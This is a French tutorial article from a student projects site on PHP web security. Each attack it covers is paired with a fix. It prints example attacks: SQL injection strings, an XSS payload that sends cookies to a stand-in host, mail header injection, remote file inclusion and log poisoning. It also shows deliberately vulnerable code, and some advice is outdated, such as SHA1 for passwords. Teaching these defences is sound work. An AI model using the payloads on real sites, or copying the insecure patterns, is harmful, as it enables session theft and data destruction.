Chinese (People's Republic of China)  English  Français


Supinfo-Projects.com
Tous les projets des élèves ingénieurs de Supinfo



Projets
  Dernier Projet
  Les plus populaires
  Tous les Projets

248 Visiteurs
3168 Projets


My Supinfo-Projects

   Connectez-vous
   Créez un Compte


Synopsis

   50 Visites
   Note INTERNET : 18.6
    (3 Votants)
   0 Commentaires

   Lire l'article

Evaluez cet article

20
18
16
14
12
10
8
6
4
2
0


Commentez cet article

Auteur :

Email :

Votre commentaire :



 
2006 - Pérennisation
PHP et la sécurité - Configuration & développement
[40 mn de lecture - paru le 6/1/2006 10:39:20 AM - Public : Confirmé]

Auteur

45925Fabien AGRANIER
Elève-Ingénieur Supinfo Bourgogne
Promotion SUPINFO 2008

   Lui écrire
   Tous les projets de cet auteur
   Le mini-CV de cet auteur

2 Développement avec PHP

2.1 Formulaires

2.1.1 Pourquoi filtrer

Les formulaires sont l’unique moyen d’interagir avec l’utilisateur, pour cette raison la quasi-totalité des applications web y ont recours. Dans ces formulaires, des informations sont demandées aux utilisateurs, mais doivent respecter certaines règles. Par exemple le champ email doit respecter la syntaxe d’un email, le champ civilité doit être un des éléments de la liste Monsieur, Madame, Mademoiselle, le champ quantité doit être un nombre entier, etc.

Il y a deux raisons au filtrage, la première est de vérifier que les éléments saisis correspondent aux types de données attendus ; la seconde est qu’ils ne puissent pas contenir d’éléments qui peuvent êtres dangereux pour l’utilisation future des données.

Les risques encourus par une absence de filtrage sont les « SQL injections » et les « Cross Site Scripting » que nous aborderons dans les chapitres suivants.

2.1.2 Filtrer les données

Toutes les données provenant de formulaires doivent être considérées comme non sûres et ne jamais être utilisées par la suite sans avoir été préalablement vérifiées et validées. Procéder au filtrage systématique des variables des formulaires vous permettra d’éviter une bonne partie des attaques par « SQL injection ».

Code pour vérifier la validité d’un entier
if($_POST['id'] == strval(intval($_POST['id'])))
    echo
'Entier';
else
    echo
'Erreur';
Code pour vérifier la validité d’un décimal
if($_POST['montant'] == strval(floatval($_POST['montant'])))
    echo
'Décimal';
else
    echo
'Erreur';
Code pour vérifier l’appartenance d’une valeur dans une liste (exemple avec la Civilité)
if(in_array($_POST['civilite'], Array('Monsieur', 'Madame', 'Mademoiselle')))
    echo
'Civilité';
else
    echo
'Erreur';
Code pour vérifier la validité d’une adresse email
$firstpart = "[a-zA-Z0-9\_\-\']+(\.[a-zA-Z0-9\_\-\']+)*";
$secondpart = "[a-zA-Z0-9-]+(\.[a-zA-Z0-9-]+)*(\.[a-zA-Z]{2,4})";

if(
ereg("^$firstpart@$secondpart$", $_POST['email']))
    echo
'Email valide';
else
    echo
'Erreur';
Code pour vérifier la validité d’une date au format jj/mm/aaaa
if(ereg("^[0-9]{2}/[0-9]{2}/[0-9]{4}$", $_POST['date']) && checkdate(substr($_POST['date'], 3, 2), substr($_POST['date'], 0, 2), substr($_POST['date'], 6, 4)))
    echo
'Date valide';
else
    echo
'Erreur';

2.1.3 Détecter les détournements

Il peut être intéressant de ne pas adopter qu’une attitude passive face aux tentatives de hack, cette partie vise donc à mettre en place un système visant à adopter une attitude un peu plus active.

Dans la partie précédente nous avons vu comment vérifier si les données correspondent bien aux types demandés, nous sommes donc en mesure de détecter si les données sont erronées. Cependant, le visiteur peut se tromper, il faut donc s’assurer que les vérifications PHP ne pourront servir qu’en cas de réel détournement. Pour cela, il faut faire en amont de PHP l’ensemble des vérifications : JavaScript va permettre de créer un formulaire que l’utilisateur ne pourra pas valider s’il contient des erreurs.

Si toute fois, PHP détecte des erreurs, c’est forcément que le visiteur n’est pas passé par le formulaire original mais l’a détourné en créant son propre formulaire sans limitations, en désactivant JavaScript ou encore en créant à la main la requête HTTP.

A vous de choisir le niveau d’agressivité de votre réponse, elle peut aller du log de l’événement (valeur des champs, IP du client, identifiant si cela intervient au sein d’une zone à accès restreint, etc.) au blocage de l’adresse IP (à la troisième tentative par exemple). Il est aussi possible de bloquer temporairement l’accès au compte s’il s’agit une zone à accès restreint.

2.2 Bases de données

2.2.1 Adjonction de données (SQL injection)

2.2.1.1 Généralités

Aujourd’hui, l’utilisation d’un serveur de bases de données comme MySQL est devenue presque systématique dans les applications web. Cependant l’ensemble des utilisateurs ne sont pas conscients que leurs requêtes SQL peuvent être facilement détournées de leur but initial par des personnes malintentionnées.

En effet, si les données extérieures à la requête ne sont pas vérifiées puis protégées avant leur insertion dans une requête, il va être possible à un hacker d’injecter le code SQL de son choix à l’intérieur de votre requête et de lui transformer fondamentalement son action sur vos données.

On entend par données extérieures toutes les informations qui ne figurent pas expressément écrites dans le code source de la page, cela comprend donc les valeurs récupérées depuis un formulaire, un fichier, une base de données, etc.

2.2.1.2 Exemple d’adjonction de données

Le cas suivant reflète une situation critique dans laquelle un utilisateur pourra ouvrir une session sans connaître le mot de passe de l’utilisateur !

  1. $login = $_POST['login'];
  2. $pass = $_POST['pass'];
  3. $reqsql = "SELECT uid FROM users WHERE login='$login' AND pass=PASSWORD('$pass')";
  4. $sql = mysql_query($reqsql) or die(mysql_error());
  5. if($res = mysql_fetch_array($sql)) {
  6.     echo 'Compte existant';
  7. } else {
  8.     echo 'Compte INexistant';
  9. }

Si l’utilisateur spécifie comme mot de passe la chaine ') OR 'm' IN ('m la requête SQL exécutée sera :
SELECT uid FROM users WHERE login='fabien' AND pass=PASSWORD('') OR 'm' IN ('m')

Cette requête renverra toujours TRUE !

2.2.1.3 Autre exemple d’adjonction de données

Le cas suivant reflète une situation critique dans laquelle un utilisateur pourra vider l’intégralité d’une table de votre base de données.

  1. $id = $_POST['id_to_del'];
  2. $reqsql = "DELETE FROM posts WHERE id = $id";
  3. mysql_query($reqsql);

Si l’utilisateur détourne le formulaire de suppression et remplace la valeur du champ ‘id_to_del’ par la valeur 0 OR 1=1 la requête SQL exécutée sera :
DELETE FROM posts WHERE id = 0 OR 1=1

Cette requête supprimera l’ensemble des enregistrements de la table posts !

2.2.1.4 Solutions

Pour éviter tout problème de ce type il convient d’effectuer deux opérations :
  • Forcer le type des données pour les entiers et les nombres avec intval() et floatval() et/ou procéder au filtrage des données entrantes.
  • Protéger les chaines de caractères avec la fonction mysql_real_escape_string(). Si les magic quotes sont activés, il faudra d’abord appliquer la fonction stripslashes().
Cela donne donc pour le premier exemple :
$reqsql = "SELECT uid FROM users WHERE login='$login' AND pass = PASSWORD('" . mysql_real_escape_string($pass) . "')";
Et pour le deuxième :
$reqsql = "DELETE FROM posts WHERE id = ".intval($id);

2.2.2 Cryptage des mots de passe

Même si cela peut paraître évident pour certains, d’autres continuent de stocker des mots de passe en clair dans leurs bases de données, or cela peut se révéler très dangereux.

En effet, le risque qu’en cas d’attaque le hacker puisse disposer de l’ensemble des mots de passe en clair est trop grand, ils doivent être sauvegardés de manière cryptée et non réversible. Pour cela, il faut utiliser des algorithmes dit de hash.

L’ensemble des serveurs de bases de données vous propose des fonctions intégrées implémentant des algorithmes de hash. Prenons l’exemple de MySQL, les principales fonctions proposées sont PASSWORD() un algorithme propriétaire, MD5() et SHA1().

La fonction PASSWORD() de MySQL propose une sécurité moyenne pour les versions de MySQL inférieure à 4.1 mais très bonne pour les versions supérieures. Cependant MySQL recommande de ne pas l’utiliser pour vos applications. La fonction MD5() est la plus utilisée, elle fut un standard pendant de longues années et propose un niveau de sécurité correct, mais elle vise à être remplacée par la fonction SHA1() qui offre un niveau de sécurité encore plus élevé.

Voici la requête de création de la table
CREATE TABLE users (
      uid INT NOT NULL PRIMARY KEY auto_increment,
      login VARCHAR(50) NOT NULL,
      pass CHAR(40) NOT NULL
);
Voici la requête d’insertion d’un utilisateur
INSERT INTO users (login, pass) VALUES ('mon_login', SHA1('mon_pass'));
Voici la requête de vérification d’un utilisateur
SELECT uid FROM users WHERE login = 'login_saisi' AND pass = SHA1('pass_saisi');

2.2.3 Informations supplémentaires

Manuel MySQL - Cryptage
Manuel PHP - mysql_real_escape_string()
Manuel PHP - stripslashes()
Manuel PHP - Magic Quotes
Wikipedia - SHA1

2.3 Cross Site Scripting (CSS, XSS)

2.3.1 Principe

Le Cross Site Scripting consiste en l’injection de données malveillantes à l’intérieur de vos pages. Ces données correspondent à des scripts JavaScript ou VB Script qui vont être exécutés sur le client comme s’ils provenaient de votre site web. Ces attaques sont possibles sur toutes les pages sur lesquelles vous affichez des données externes non filtrées.

Prenons un exemple simple et réaliste, le cas d’une page d’identification login.php pour une zone privée. Lors de la validation du formulaire, si l’identification est incorrecte, le script redirige sur la page de login en lui passant en paramètre la raison de l’erreur qui sera affichée sur la page, par exemple : login.php?err=Compte%20inexistant

Cela paraît anodin, mais si la page de login affiche le contenu de la variable $_GET[‘err’] directement sans la filtrer et que les magic quotes ne sont pas activés, rien n’empêche quelqu’un de placer du code JavaScript dans la variable qui sera alors intégré directement dans la page. Il suffit alors de créer un lien avec <script type="text/javascript">im = new Image(); im.src="http://hack.net/?data=" + document.cookie;</script>.

Cela donne donc de manière encodée :
login.php?err=%3Cscript+type%3D%22text%2Fjavascript%22%3Eim
+%3D+new+Image%28%29%3B+im.src%3D%22http%3A%2F%2Fhack.net
%2F%3Fdata%3D%22+%2B+document.cookie%3B%3C%2Fscript%3E

Ce code aura pour effet de transmettre la valeur des cookies à un site tiers ici hacker.net, sachant que les cookies peuvent contenir des identifiants de session mais aussi des passwords encryptés, cela se révèle très dangereux…

Maintenant que le hacker a préparé son attaque, il ne lui reste plus qu’à promouvoir son lien, généralement par social engineering ou par son insertion dans une partie ouverte de votre site, comme un forum, un chat ou un espace de commentaires. Toutes les personnes qui suivront le lien verront le cookie de votre site automatiquement transmis au hacker avec toutes les informations qu’il contient…

Le hacker n’aura plus qu’à remplacer son cookie par celui d’un de vos visiteurs ou même par le votre, et d’accéder à votre site avec vos privilèges.

2.3.2 Solution

Pour éviter tout problème de Cross Site Scripting, il faut filtrer toutes les données externes affichées sur votre site à l’aide de htmlentities() afin d’empêcher tout code HTML/JS/VB d’être intégré à vos page.

2.3.3 Informations supplémentaires

Manuel PHP - Magic Quotes
Manuel PHP - htmlentities
PHP Security Consortium

2.4 Cookie Poisoning

2.4.1 Principe

Le Cookie Poisoning consiste en l’édition manuelle du cookie par le visiteur. Si le cookie contient des valeurs importantes, comme le montant d’une transaction, celles-ci peuvent être manipulées directement par le client sans aucun contrôle préalable.

2.4.2 Solution

De manière générale, il ne faut stocker aucune valeur de session dans le cookie du client, il faut gérer des sessions côté serveur dont les valeurs ne pourront pas être modifiées directement.

Si toutefois vous devez y stocker des informations (autre que l’identifiant de session), ces informations doivent être cryptées à l’aide d’un algorithme tel que 3DES ou blowfish.

2.5 Sessions

2.5.1 Fixation de session

2.5.1.1 Principe

La fixation de session est une technique utilisée par les hackers pour spécifier eux même l’identifiant d’une session d’un utilisateur et ainsi ne pas avoir besoin de l’intercepter ou de le deviner.

Prenons site.com qui propose une page d’index qui gère les sessions et affiche un formulaire d’authentification.
Si un hacker conduit un client de site.com à suivre le lien http://site.com/?PHPSESSID=1234 via un post sur un forum ou tout autre moyen, le client va donc charger site.com avec 1234 comme identifiant de session.

Le comportement du site ne changeant pas, le client ne va se soucier de rien, et s’authentifier normalement. Or c’est le hacker qui a spécifié lui-même le numéro de la session, il n’a donc plus qu’à charger à son tour le lien communiqué et il se retrouvera sur le site avec la session valide du client.

2.5.1.2 Solutions

La solution la plus simple est de n’utiliser que les cookies comme moyen de propagation de la session, de cette façon, la session spécifiée dans l’adresse ne sera pas utilisée par la suite. De plus de manière générale, l’utilisation des cookies est plus sécuritaire que la transmission par le querystring (méthode GET).

Si vous souhaitez tout de même utiliser la méthode GET, le seul moyen de résoudre le problème est de régénérer l’identifiant de la session à l’aide de la fonction session_regenerate_id() lors de chaque changement de privilège de l’utilisateur (Par exemple lorsqu’il s’identifie de manière correcte et qu’il devient un utilisateur authentifié).

Enfin, la vérification de l’adresse IP expliquée dans la partie 3.5.4 permet elle aussi de régler ce problème.

2.5.2 Détournement de session (Session hijacking)

Le détournement ou vol de session est une technique utilisée par les hackers pour récupérer un identifiant d’une session déjà existante afin de disposer de l’accès privilégié obtenu par le réel utilisateur de la session.

Il existe plusieurs méthodes pour récupérer un identifiant de session valide :
  • Par force brute et analyse statistique, mais du fait du caractère très aléatoire des identifiants de session en PHP, cela reste peu probable.
  • Par une fixation vue précédemment
  • Par interception des échanges http
  • Par un cross site scripting

L’ensemble des parties suivantes visent à rendre impossible le détournement de session

2.5.3 Durée des sessions

Il convient de limiter la durée de validité des sessions pour deux raisons.

La première est que si quelqu’un repasse physiquement sur le poste de la personne ayant ouvert la session et ne l’ayant pas expressément clôturée, celui-ci pourra la reprendre sans aucun problème.

La seconde raison est que si l’on garde des sessions inutilisées en mémoire, cela laisse autant de chance en plus à un hacker de trouver un identifiant de session valide par analyses statistiques.

Il faut donc au bout d’un certain temps d’inactivité fermer la session pour l’utilisateur.

2.5.4 Sauvegarde de l’adresse IP

Afin d’éviter tout vol de session existante par interception d’un identifiant de session, il faut lors de la création de la session, enregistrer l’adresse IP du client et la vérifier lors de chaque utilisation de la session.

Si l’IP tentant d’accéder à la session n’est pas la même que celle qui a créé la session, il est possible qu’il s’agisse d’une tentative de session hijacking, il peut être intéressant de loguer cette information et surtout d’empêcher la reprise de la session. Cependant il faut garder à l’esprit que cet événement peut se produire de manière naturelle, par exemple si le client possède une IP dynamique et qu’il subit une brève coupure de connexion durant de sa session

2.5.5 Détection des tentatives de vol

Il peut être intéressant, pour réduire les risques et compliquer la tâche au hacker, de détecter les tentatives de vols de session et de bloquer l’accès aux adresses IP de leurs auteurs.

Aucune action est à coup sûr une tentative de vol, la volonté de poursuivre une session qui n’existe pas peut venir d’un navigateur laissé ouvert plusieurs heures sans activité, la volonté de poursuivre une session expirée aussi, et le fait d’avoir une IP différente peut venir par exemple d’une déconnexion.

Par contre la répétition de ces actions, n’est pas un comportement normal, il devient donc possible de bloquer pour un certain laps de temps l’adresse IP originaire de ces tentatives.

2.5.6 Limiter le nombre de tentatives de login

Il est important que les formulaires de login ne puissent pas faire l’objet d’une attaque par force brute ou par dictionnaire, pour cela il convient de limiter le nombre de tentatives de login et de bloquer temporairement l’adresse IP originaire des tentatives mais aussi le compte visé par celles-ci.

2.5.7 Connexion sécurisée

La connexion sécurisée de type SSL permet de crypter les échanges entre le client et le serveur de manière fiable, en pratique cela rend quasi impossible de vol d’un identifiant de session car il ne peut pas être intercepté entre les deux parties.

2.5.8 Sauvegarder les derniers accès

La sauvegarde de l’heure, de l’adresse IP et de la résolution de l’adresse IP de chaque ouverture de session, peut permettre de détecter par vous-même l’usurpation de votre compte si ces informations sont affichées à chaque nouvelle connexion.

C’est le principe utilisé par les systèmes Unix, mais cette technique ne peut être réellement utile que pour des sessions gérant l’accès à vos zones d’administration car il paraît plus difficile de proposer ces informations à vos utilisateurs/clients.

2.5.9 Informations supplémentaires

PhpSec.org – Sessions
Manuel PHP – Session

2.6 Envoi d’email

L’utilisation de la fonction mail() de PHP peut conduire à l’envoi massif de spams si le formulaire d’envoi de message présente une faille.

Il faut donc s’assurer qu’aucun détournement du formulaire n’est possible en empêchant des adjonctions des données dans les paramètres de la fonction.

La sécurisation de la variable $to du mail ne suffit pas. Il est toujours possible d’injecter toutes les entêtes désirées. Il faut donc sécuriser toutes les variables utilisées par la fonction mail.

Exemple :
$to = 'monmail@domaine.com';
$from = $_POST['from'];
$sujet = $_POST['sujet'];
$msg = $_POST['msg'];

mail($to, $from, $sujet, 'From: '.$from);

La variable $to est sécurisée, il n’est pas possible de la remplacer. Mais il est possible de remplacer from par 'addr@dom.com\r\nBcc: mail1@dom.com\r\nBcc: mail1@dom.com' et ainsi envoyer le mail à d’autres personnes en plus de celle spécifiée dans la variable $to.

2.7 Inclusion de fichiers

2.7.1 Généralités

Le cas d’inclusion pouvant poser problème est le cas de page de dispatching qui ne vérifie pas la valeur qui lui sont passées en paramètre.
Une page de dispatching est une page appelée par dispatch.php?page=example.inc.php

Voici le (mauvais) code que pourrait avoir cette page :
    if(!isset($_GET['page']))
        
$page = 'accueil.php';
    else
        
$page = $_GET['page'];

    include
$page;

2.7.2 Risques

2.7.2.1 Inclusion de fichier distant

Si la directive de configuration de php allow_url_fopen est à On (Valeur par défaut), la fonction include() permet d’inclure des fichiers distants.

Il suffit donc d’appeler la page comme ceci dispatch.php?page=http://dom.com/hack.txt et le fichier hack.txt contenant des instructions PHP ne sera pas exécuté sur le serveur de dom.com mais sur le serveur de la page dispatch.php !

2.7.2.2 Inclusion du fichier de log

Une autre manière de détourner les pages de dispatching est d’inclure le fichier de log. Pour créer l’exploit, il suffit d’écrire du code PHP dans le fichier de log avant de l’inclure dans la page de dispatch où il sera exécuté.

Pour écrire dans le fichier de log, il suffit d’appeler une adresse inexistante contenant du code PHP comme :
http://site.com/%3C%3F%20echo%20%22coucou%22%3B%20%3F%3E

Cela produira une erreur au niveau du serveur web qui sera loguée dans le fichier de log, sous apache v2 ce fichier s’appelle par défaut /usr/local/apache2/log/error_log

La ligne suivante sera inscrite dans le fichier de log :
Sun Mar 26 17:00:02 2006] [error] [client **.**.*.***] File does not exist: /home/www/site.com/<? echo "coucou"; ?>

Le fichier de log contient donc maintenant du code PHP prêt à être exécuté ! Il suffit de l’inclure via http://site.com/dispatch.php?page=/usr/local/apache2/log/error_log

2.7.3 Solution

Afin d’éviter ces problèmes, il faut inclure les pages web à partir d’une liste blanche. Ainsi le fichier contenu dans la variable $_GET[‘page’] devra impérativement être défini dans la liste blanche pour être inclus.

    $white_list = Array('page1.php', 'page2.php', 'page3.php');

    if(!isset(
$_GET['page']) || !in_array($_GET['page'], $white_list))
        
$page = 'accueil.php';
    else
        
$page = $_GET['page'];

    
// On inclut la page
    
include $page;


Articles de la même catégorie

 Pages : Top


5 Visites
0 Commentaires
Connection to a TeamFoundationServer base and Declaration of WorkItem in ASP.NET
[20 mn de lecture - paru le 6/1/2006 10:37:58 AM - Public : Débutant]

En savoir plus


5 Visites
0 Commentaires
Presentation of Microsoft Expression Interactive Designer
[30 mn de lecture - paru le 6/1/2006 10:26:14 AM - Public : Débutant]

En savoir plus


18 Visites
0 Commentaires
Using WIAAUT library
[15 mn de lecture - paru le 6/1/2006 10:15:38 AM - Public : Débutant]

En savoir plus

   Tous les Articles


SUPINFO Training Center peut vous proposer une formation ...

   Devenez Ingénieur Système Microsoft en 35 jours avec SUPINFO Training Center
   Devenez Certifiés Cisco en 13 jours avec SUPINFO Training Center
   Devenez Administrateur Système Microsoft avec SUPINFO Training Center
   Devenez Développeur Microsoft .NET en 13 jours avec SUPINFO Training Center



Powered by Campus-Booster Technology
Conditions d'utilisation & Copyright | Respect de la vie privée
© Copyright 1965-2006 Supinfo Paris, Paris Academy of Computer Science
Supinfo, Ecole Supérieure d'Informatique et Paris Academy Of Computer Science are trade marks.
23, rue de Château LANDON - 75010 PARIS - Phone : +33 (0) 153359 700 Fax : +33 (0) 153359 701

Web site autided by :